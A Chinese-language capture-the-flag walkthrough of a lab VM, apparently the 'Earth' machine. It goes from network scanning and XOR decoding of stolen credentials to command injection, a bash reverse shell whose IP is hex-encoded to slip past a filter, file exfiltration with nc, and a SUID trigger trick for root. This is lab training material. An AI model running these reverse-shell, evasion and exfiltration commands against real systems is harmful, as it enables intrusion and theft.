下载靶机:下载地址
下载后直接在vm打开,把靶机和kali网络配置成NAT模式。
开启靶机,查看MAC地址。
打开kali使用命令arp-scan -l
查看靶机ip:192.168.195.132
nmap -A 192.168.195.132
查看开放的端口,能看到打开了80和443端口,443端口还有两个DNS地址
尝试查看ip页面,发现什么也没有,这里需要把两条DNS地址写到hosts文件里
需要用到命令vim /etc/hosts
进入后点i
开始编辑,添加完成后点esc
退出,最后输入:wq保存并退出
cat /etc/hosts
查看编辑后的host
访问https://earth.local与https://terratest.earth.local
在https://earth.local最下面发现了三段加密信息
另外一个没有发现什么有用的信息。
dirb https://earth.local/
dirb https://terratest.earth.local/
扫描两个站点目录
访问https://earth.local/admin/login 是一个登录地址
访问https://terratest.earth.local/robots.txt 发现一个比较特别的
Disallow: /testingnotes.* 尝试后发现是一个testingnotes.txt,查看得到相应提示
翻译一下
得到一些信息,三段信息可能使用的是XOR算法进行的加密,曾经发送过信息,存在一个txt的测试加密,可以通过这个txt获得加密方式,用户名是terra,密码目前未知。访问testdata.txt
使用网站https://gchq.github.io/CyberChef/ 可以解出3段密码
也可以写脚本,这里我用的是网站:先将previous message从16进制数转化为UTF-8,再与message进行XOR运算,message就是testdata.txt的内容,XOR运算也使用UTF-8编码
把testdata.txt的内容写到XOR的key中,第三段解出了需要的东西,查看发现是重复的内容,可能是登陆密码
尝试登录
尝试输入一些命令ls,发现可以执行,尝试反弹shell
bash -i >& /dev/tcp/192.168.195.128/1234 0>&1
发现不能用,上网搜索后知道了这里要把ip进行16进制编码
bash -i >& /dev/tcp/0xc0.0xa8.0xc3.0x80/1234 0>&1
使用find命令查找一下flag
find / -name "*flag.txt"
查看可以得到user_flag
现在只有网站权限,尝试提权到root先看下suid有些什么信息,看到这个命令
find / -perm -u=s -type f 2>/dev/null
使用这个命令,看到一条信息:大概意思是修改root密码为Earth
尝试执行reset_root提示触发器不存在,
由于靶机没有ltrace,所以将/usr/bin/reset_root传到本地分析
kali攻击机监听2222端口,并将接收到的内容重定向到文件reset_root
nc -lvvp 2222 > reset_root
靶机上将/usr/bin/reset_root文件的内容通过nc重定向到攻击机的2222端口
nc 192.168.124.129 2222 < /usr/bin/reset_root
可以看出会检查触发器是否存在为条件,这里就是/dev/shm/kHgTFI5G、/dev/shm/Zw7bV9U5、/tmp/kcM0Wewe这3个文件夹都需要存在
那么在靶机上创建这三个文件夹,再执行reset_root,成功重置root密码为Earth
这里可以登录拿到flag